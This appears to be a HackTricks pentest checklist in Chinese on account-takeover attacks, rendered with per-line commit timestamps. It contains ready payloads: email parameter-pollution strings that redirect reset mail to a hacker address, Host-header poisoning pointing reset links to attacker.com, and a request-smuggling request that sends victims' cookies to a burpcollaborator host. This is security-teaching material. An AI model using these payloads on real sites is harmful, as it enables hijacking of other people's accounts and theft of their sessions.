2024-07-19 15:59:20 +00:00
|
|
|
|
# 注册与接管漏洞
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2024-02-03 16:02:37 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-19 15:59:20 +00:00
|
|
|
|
{% endhint %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-04-18 03:34:06 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 注册接管
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 重复注册
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2024-02-03 16:02:37 +00:00
|
|
|
|
* 尝试使用现有用户名生成
|
2024-07-19 15:59:20 +00:00
|
|
|
|
* 检查不同的电子邮件:
|
|
|
|
|
* 大写字母
|
|
|
|
|
* \+1@
|
|
|
|
|
* 在电子邮件中添加一些点
|
|
|
|
|
* 电子邮件名称中的特殊字符 (%00, %09, %20)
|
|
|
|
|
* 在电子邮件后放置黑色字符:`test@test.com a`
|
|
|
|
|
* victim@gmail.com@attacker.com
|
|
|
|
|
* victim@attacker.com@gmail.com
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 用户名枚举
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2024-09-04 13:29:40 +00:00
|
|
|
|
检查您是否可以确定用户名是否已在应用程序中注册。
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 密码策略
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
创建用户时检查密码策略(检查您是否可以使用弱密码)。\
|
2023-08-03 19:12:22 +00:00
|
|
|
|
在这种情况下,您可以尝试暴力破解凭据。
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2024-05-05 22:03:00 +00:00
|
|
|
|
### SQL 注入
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
[**查看此页面**](sql-injection/#insert-statement)以了解如何通过注册表单中的 **SQL 注入** 尝试账户接管或提取信息。
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2024-05-05 22:03:00 +00:00
|
|
|
|
### Oauth 接管
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2023-02-16 18:26:56 +00:00
|
|
|
|
{% content-ref url="oauth-to-account-takeover.md" %}
|
|
|
|
|
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2024-05-05 22:03:00 +00:00
|
|
|
|
### SAML 漏洞
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% content-ref url="saml-attacks/" %}
|
|
|
|
|
[saml-attacks](saml-attacks/)
|
|
|
|
|
{% endcontent-ref %}
|
2021-06-27 15:43:01 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
### 更改电子邮件
|
|
|
|
|
|
|
|
|
|
注册后尝试更改电子邮件,并检查此更改是否得到正确验证,或是否可以更改为任意电子邮件。
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 更多检查
|
2021-06-27 14:55:59 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
* 检查您是否可以使用 **一次性电子邮件**
|
|
|
|
|
* **长** **密码** (>200) 导致 **DoS**
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **检查账户创建的速率限制**
|
2024-07-19 15:59:20 +00:00
|
|
|
|
* 使用 username@**burp\_collab**.net 并分析 **回调**
|
2024-04-18 03:58:46 +00:00
|
|
|
|
|
|
|
|
|
## **密码重置接管**
|
|
|
|
|
|
2024-09-04 13:29:40 +00:00
|
|
|
|
### 通过引荐人泄露密码重置令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
2024-04-18 03:58:46 +00:00
|
|
|
|
|
|
|
|
|
1. 请求将密码重置到您的电子邮件地址
|
2024-07-19 15:59:20 +00:00
|
|
|
|
2. 点击密码重置链接
|
2024-05-05 22:03:00 +00:00
|
|
|
|
3. 不要更改密码
|
2024-07-19 15:59:20 +00:00
|
|
|
|
4. 点击任何第三方网站(例如:Facebook,Twitter)
|
|
|
|
|
5. 在 Burp Suite 代理中拦截请求
|
|
|
|
|
6. 检查 referer 头是否泄露密码重置令牌。
|
2024-04-18 03:58:46 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
### 密码重置中毒 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
2024-04-18 03:58:46 +00:00
|
|
|
|
|
2024-05-05 22:03:00 +00:00
|
|
|
|
1. 在 Burp Suite 中拦截密码重置请求
|
2024-07-19 15:59:20 +00:00
|
|
|
|
2. 在 Burp Suite 中添加或编辑以下头部:`Host: attacker.com`,`X-Forwarded-Host: attacker.com`
|
|
|
|
|
3. 转发带有修改头部的请求\
|
2024-04-18 03:58:46 +00:00
|
|
|
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
2024-07-19 15:59:20 +00:00
|
|
|
|
4. 查找基于 _host 头_ 的密码重置 URL,例如:`https://attacker.com/reset-password.php?token=TOKEN`
|
2024-04-18 03:58:46 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
### 通过电子邮件参数重置密码 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
```powershell
|
|
|
|
|
# parameter pollution
|
|
|
|
|
email=victim@mail.com&email=hacker@mail.com
|
|
|
|
|
|
|
|
|
|
# array of emails
|
|
|
|
|
{"email":["victim@mail.com","hacker@mail.com"]}
|
|
|
|
|
|
|
|
|
|
# carbon copy
|
|
|
|
|
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
|
|
|
|
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
|
|
|
|
|
|
|
|
|
# separator
|
|
|
|
|
email=victim@mail.com,hacker@mail.com
|
|
|
|
|
email=victim@mail.com%20hacker@mail.com
|
|
|
|
|
email=victim@mail.com|hacker@mail.com
|
|
|
|
|
```
|
2024-07-19 15:59:20 +00:00
|
|
|
|
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
1. 攻击者必须使用他们的账户登录并进入**更改密码**功能。
|
|
|
|
|
2. 启动Burp Suite并拦截请求
|
|
|
|
|
3. 将其发送到重发器选项卡并编辑参数:用户ID/电子邮件\
|
2023-08-03 19:12:22 +00:00
|
|
|
|
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
密码重置令牌应该是随机生成的,并且每次都是唯一的。\
|
2024-07-19 15:59:20 +00:00
|
|
|
|
尝试确定令牌是否过期或是否总是相同,在某些情况下,生成算法较弱,可以被猜测。以下变量可能被算法使用。
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 时间戳
|
|
|
|
|
* 用户ID
|
2024-07-19 15:59:20 +00:00
|
|
|
|
* 用户的电子邮件
|
2024-02-06 04:10:34 +00:00
|
|
|
|
* 名字和姓氏
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 出生日期
|
2024-07-19 15:59:20 +00:00
|
|
|
|
* 加密
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 仅数字
|
2024-02-06 04:10:34 +00:00
|
|
|
|
* 小令牌序列(字符在\[A-Z,a-z,0-9]之间)
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 令牌重用
|
|
|
|
|
* 令牌过期日期
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-02-06 04:10:34 +00:00
|
|
|
|
1. 使用API/UI触发特定电子邮件的密码重置请求,例如:test@mail.com
|
2024-07-19 15:59:20 +00:00
|
|
|
|
2. 检查服务器响应并查看`resetToken`
|
2024-09-04 13:29:40 +00:00
|
|
|
|
3. 然后在URL中使用令牌,如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
1. 使用与受害者用户名相同的用户名在系统中注册,但在用户名前后插入空格。例如:`"admin "`
|
|
|
|
|
2. 使用您的恶意用户名请求密码重置。
|
|
|
|
|
3. 使用发送到您电子邮件的令牌重置受害者密码。
|
|
|
|
|
4. 使用新密码连接到受害者账户。
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
平台CTFd对该攻击存在漏洞。\
|
|
|
|
|
见:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
1. 在应用程序或子域中找到XSS,如果cookies的作用域为父域:`*.domain.com`
|
|
|
|
|
2. 泄露当前**会话cookie**
|
|
|
|
|
3. 使用cookie作为用户进行身份验证
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
1\. 使用**smuggler**检测HTTP请求走私的类型(CL, TE, CL.TE)\
|
2021-11-30 00:17:48 +00:00
|
|
|
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
2024-07-19 15:59:20 +00:00
|
|
|
|
2\. 构造一个请求,该请求将用以下数据覆盖`POST / HTTP/1.1`:\
|
|
|
|
|
`GET http://something.burpcollaborator.net HTTP/1.1 X:`,目的是将受害者重定向到burpcollab并窃取他们的cookies\
|
|
|
|
|
3\. 最终请求可能看起来像以下内容
|
2021-11-30 00:17:48 +00:00
|
|
|
|
```
|
|
|
|
|
GET / HTTP/1.1
|
|
|
|
|
Transfer-Encoding: chunked
|
|
|
|
|
Host: something.com
|
|
|
|
|
User-Agent: Smuggler/v1.0
|
|
|
|
|
Content-Length: 83
|
|
|
|
|
0
|
|
|
|
|
|
|
|
|
|
GET http://something.burpcollaborator.net HTTP/1.1
|
|
|
|
|
X: X
|
|
|
|
|
```
|
2024-05-05 22:03:00 +00:00
|
|
|
|
Hackerone 报告利用此漏洞\
|
2024-07-19 15:59:20 +00:00
|
|
|
|
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
|
|
|
|
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
2024-04-18 03:58:46 +00:00
|
|
|
|
|
2024-09-04 13:29:40 +00:00
|
|
|
|
### 通过 CSRF 实现账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
1. 创建 CSRF 的有效载荷,例如:“用于密码更改的自动提交 HTML 表单”
|
|
|
|
|
2. 发送有效载荷
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-09-04 13:29:40 +00:00
|
|
|
|
### 通过 JWT 实现账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
JSON Web Token 可能用于验证用户。
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
* 使用另一个用户 ID / 电子邮件编辑 JWT
|
2024-05-05 22:03:00 +00:00
|
|
|
|
* 检查弱 JWT 签名
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
|
|
|
|
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
|
|
|
|
|
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2024-09-04 13:29:40 +00:00
|
|
|
|
## 参考
|
2021-11-30 00:17:48 +00:00
|
|
|
|
|
|
|
|
|
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-04-18 03:34:06 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
{% hint style="success" %}
|
2024-09-04 13:29:40 +00:00
|
|
|
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
<details>
|
2024-02-03 16:02:37 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 15:59:20 +00:00
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2024-09-04 13:29:40 +00:00
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-19 15:59:20 +00:00
|
|
|
|
{% endhint %}
|